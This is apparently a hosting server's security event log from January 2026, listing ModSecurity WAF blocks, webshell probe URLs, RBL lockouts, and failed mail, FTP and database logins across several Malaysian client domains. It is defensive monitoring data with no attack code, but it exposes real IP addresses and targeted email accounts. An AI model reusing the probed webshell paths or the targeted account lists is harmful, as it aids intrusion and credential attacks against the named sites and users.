country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/jquery.count-to.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.225
country_id: 1880251
domain: www.cordage.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cordage.com.my/js/bootstrap.bundle.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.169.10
country_id: 2510769
description:
Jan 14 19:25:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.169.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.214.169.10
country_id: 2510769
description:
2026-01-14 19:25:32 dovecot_plain authenticator failed for H=(oubils) [185.214.169.10]:55408: 535 Incorrect authentication data (set_id=info@usfood.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/residential/img/druma_photos/team.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 174.169.224.27
country_id: 6252001
description:
Jan 14 19:27:29 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 174.169.224.27 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.169.224.27
country_id: 6252001
description:
2026-01-14 19:27:31 dovecot_plain authenticator failed for H=c-174-169-224-27.hsd1.vt.comcast.net (unveles) [174.169.224.27]:42276: 535 Incorrect authentication data (set_id=muzilah@tujusetia.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 74.80.182.78
country_id: 6252001
domain: www.nexuscollection.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:19-29.74.80.182.78||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 74.244.135.172
country_id: 3865483
domain: tschuan.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tschuan.com/mech-screen.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 42.105.158.49
country_id: 1269750
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/bath/37/24358 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.25
country_id: 2750405
description:
Jan 14 19:43:48 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.27.70.171
country_id: 3439705
description:
2026-01-14 19:46:31 dovecot_login authenticator failed for H=(213.5.130.84) [179.27.70.171]:41600: 535 Incorrect authentication data (set_id=syazwani@sanicarehygiene.com.my)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 34.38.83.65
country_id: 2802361
description:
Jan 14 19:47:00 sv3 pure-ftpd[2428643]: (?@34.38.83.65) [WARNING] Authentication failed for user [anonymous]


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.170.68.241
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-1.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 185.152.219.182
country_id: 2635167
domain: dsc-expat.com
description:
IM360 WAF: Bad file extension||RSV:7.63||T:APACHE||MVN:REQUEST_FILENAME||MV:/http:/webdesign.monkeymedia2u.com||User:dscexpat||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/press.php||SC:/home/indfinitydesign/public_html/images/press.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 19:54:12 H=([45.144.212.242]) [45.144.212.242]:63317 F=<no_reply@admin.com> rejected RCPT <munch@nexuscollection.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.174.105.139
country_id: 3595528
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/short/29/101503 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 14 19:56:17 sv3 pure-ftpd[2433961]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 14 19:56:22 sv3 pure-ftpd[2433961]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 14 19:56:34 sv3 pure-ftpd[2434048]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB1050_PMR_MGM_2026_edm/premier_edm.html uploaded  (46072 bytes, 1169.45KB/sec)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.255.190.165
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-24.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.18
country_id: 2750405
description:
Jan 14 20:02:07 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.14
country_id: 2750405
description:
Jan 14 20:02:07 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.22
country_id: 2750405
description:
Jan 14 20:02:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.218
country_id: 1269750
description:
Jan 14 20:05:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.218
country_id: 1269750
description:
Jan 14 20:06:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 20:06:21 H=([45.144.212.242]) [45.144.212.242]:65464 F=<no_reply@admin.com> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.12.224
country_id: 1733045
description:
2026-01-14 20:09:51 dovecot_login authenticator failed for H=([183.171.12.224]) [183.171.12.224]:47878: 535 Incorrect authentication data


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 20:10:05 H=([45.144.212.242]) [45.144.212.242]:62655 F=<kamal@sunnyseafoodtrade.com> rejected RCPT <zainuddin@astlog.com.my>: No Such User Here


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.225.87.144
country_id: 1814991
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/curtain/19/132/1999627 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.14.58.69
country_id: 3625428
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/Grindmaster Cecilware.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.83.116.36
country_id: 3608932
domain: tschuan.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tschuan.com/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 108.181.185.140
country_id: 6252001
description:
2026-01-14 20:14:47 H=([108.181.185.140]) [108.181.185.140]:65243 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<sustainability@schaeffler.com> rejected RCPT <chuan@tschuan.com>: SPF: 108.181.185.140 is not allowed to send mail from schaeffler.com


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 93.180.222.212
country_id: 99237
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=541954 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.210.42
country_id: 2750405
description:
Jan 14 20:19:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.210.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.210.42
country_id: 2750405
description:
2026-01-14 20:19:27 dovecot_login authenticator failed for H=(bftxZDmN) [158.94.210.42]:63234: 535 Incorrect authentication data (set_id=kschook.vpb@vc-b.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.208.237.237
country_id: 3469034
domain: maalloys.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/maalloys.com.my/green.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.153
country_id: 1880251
domain: maalloys.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/maalloys.com.my/css/main.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.18
country_id: 2750405
description:
Jan 14 20:20:34 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.22
country_id: 2750405
description:
Jan 14 20:20:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.210.42
country_id: 2750405
description:
Jan 14 20:20:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.210.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.210.42
country_id: 2750405
description:
2026-01-14 20:20:13 dovecot_login authenticator failed for H=(yU7mAeqMGx) [158.94.210.42]:50810: 535 Incorrect authentication data (set_id=kschook.vpb@vc-b.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.14
country_id: 2750405
description:
Jan 14 20:20:33 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.15
country_id: 2750405
description:
Jan 14 20:21:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.21
country_id: 2750405
description:
Jan 14 20:21:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.13
country_id: 2750405
description:
Jan 14 20:21:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.23
country_id: 2750405
description:
Jan 14 20:21:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.19
country_id: 2750405
description:
Jan 14 20:21:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.17
country_id: 2750405
description:
Jan 14 20:21:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.24
country_id: 2750405
description:
Jan 14 20:21:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.16
country_id: 2750405
description:
Jan 14 20:21:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.12
country_id: 2750405
description:
Jan 14 20:21:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.14
country_id: 241170
description:
Jan 14 20:22:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.210.42
country_id: 2750405
description:
Jan 14 20:21:20 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.210.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.210.42
country_id: 2750405
description:
2026-01-14 20:21:22 dovecot_login authenticator failed for H=(WmEcfoON0) [158.94.210.42]:62423: 535 Incorrect authentication data (set_id=kschook.vpb@vc-b.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.14
country_id: 241170
description:
Jan 14 20:22:21 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.14 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/photos/img/photos/private-residence.php||SC:/home/indfinitydesign/public_html/img/photos/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 83.139.133.11
country_id: 2017370
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/resources/assets/sass/_variables.scss HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 14 20:24:27 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 20:27:00 H=([45.144.212.242]) [45.144.212.242]:52428 F=<no_reply@admin.com> rejected RCPT <sales@acburn.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 108.181.185.140
country_id: 6252001
description:
2026-01-14 20:28:06 H=([108.181.185.140]) [108.181.185.140]:51859 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<sustainability@schaeffler.com> rejected RCPT <corporate_chaah@ajplantations.com.my>: SPF: 108.181.185.140 is not allowed to send mail from schaeffler.com


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 185.152.219.182
country_id: 2635167
domain: www.feliogroup.com.my
description:
IM360 WAF: Bad file extension||RSV:7.63||T:APACHE||MVN:REQUEST_FILENAME||MV:/http:/www.monkeymedia2u.com||User:feliogroupcom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.26
country_id: 2750405
description:
Jan 14 20:27:43 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 14 20:29:00 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.14
country_id: 241170
description:
Jan 14 20:29:50 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.0.83.168
country_id: 1562822
description:
Jan 14 20:32:45 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.0.83.168 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.0.83.168
country_id: 1562822
description:
2026-01-14 20:32:47 dovecot_login authenticator failed for H=([127.0.0.1]) [117.0.83.168]:52501: 535 Incorrect authentication data (set_id=rina@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 198.160.166.236
country_id: 99237
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=264985 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.49.115.201
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/webmozart/assert/src/Assert.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.25
country_id: 2750405
description:
Jan 14 20:38:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.25 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/home/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.84.125.83
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:20-40.91.84.125.83||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.105.179.43
country_id: 1269750
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/green/11/602/1169880 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.161.2.178
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-67.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 20:48:36 H=([45.144.212.242]) [45.144.212.242]:52787 F=<no_reply@admin.com> rejected RCPT <ang@aircarbonic.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.21.213.91
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-64.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 162.142.125.38
country_id: 6252001
description:
Jan 14 20:55:26 sv3 pure-ftpd[2471534]: (?@162.142.125.38) [INFO] New connection from 162.142.125.38


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.69.105.163
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/erusev/parsedown/Parsedown.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.120.205.208
country_id: 6251999
description:
Jan 14 20:55:45 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.120.205.208 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.120.205.208
country_id: 6251999
description:
2026-01-14 20:55:47 dovecot_plain authenticator failed for H=([10.14.170.22]) [37.120.205.208]:39970: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.25
country_id: 2750405
description:
Jan 14 20:56:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.120.205.208
country_id: 6251999
description:
Jan 14 20:56:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.120.205.208 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.120.205.208
country_id: 6251999
description:
2026-01-14 20:56:27 dovecot_plain authenticator failed for H=([10.14.170.22]) [37.120.205.208]:48217: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/images/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.230.79.116
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=181970 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.94.127.7
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/banana/8/414/885169 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.247.102
country_id: 1733045
description:
[2026-01-14 21:03:41 +0800] info [webmaild] 27.125.247.102 - kwangpeng@ktlog.com.my "GET /cpsess2049891849/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.92
country_id: 690791
description:
2026-01-14 21:05:30 H=([77.83.39.92]) [77.83.39.92]:53181 F=<MeshalAbdulwhab@outlook.com> rejected RCPT <laupk@chs.com.my>: SPF: 77.83.39.92 is not allowed to send mail from outlook.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.15
country_id: 241170
description:
Jan 14 21:06:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 21:07:29 H=([45.144.212.242]) [45.144.212.242]:50198 F=<no_reply@admin.com> rejected RCPT <astbtu@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.195.211.98
country_id: 6252001
description:
Jan 14 21:08:42 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.195.211.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.195.211.98
country_id: 6252001
description:
2026-01-14 21:08:44 dovecot_plain authenticator failed for H=c-73-195-211-98.hsd1.nj.comcast.net (unblione) [73.195.211.98]:60652: 535 Incorrect authentication data (set_id=cheehian.ooi@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.236.187.43
country_id: 2017370
description:
Jan 14 21:09:21 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.236.187.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.236.187.43
country_id: 2017370
description:
2026-01-14 21:09:23 dovecot_plain authenticator failed for H=(marimmor) [85.236.187.43]:47502: 535 Incorrect authentication data (set_id=khaikong.yap@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.42.67.114
country_id: 1814991
description:
2026-01-14 21:11:30 dovecot_login authenticator failed for H=([36.42.67.114]) [36.42.67.114]:53852: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.7.142.184
country_id: 1605651
description:
2026-01-14 21:11:57 dovecot_login authenticator failed for H=(213.5.130.160) [61.7.142.184]:39009: 535 Incorrect authentication data (set_id=amira.zahari@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.42.67.114
country_id: 1814991
description:
Jan 14 21:11:28 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.42.67.114 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.237.118
country_id: 130758
description:
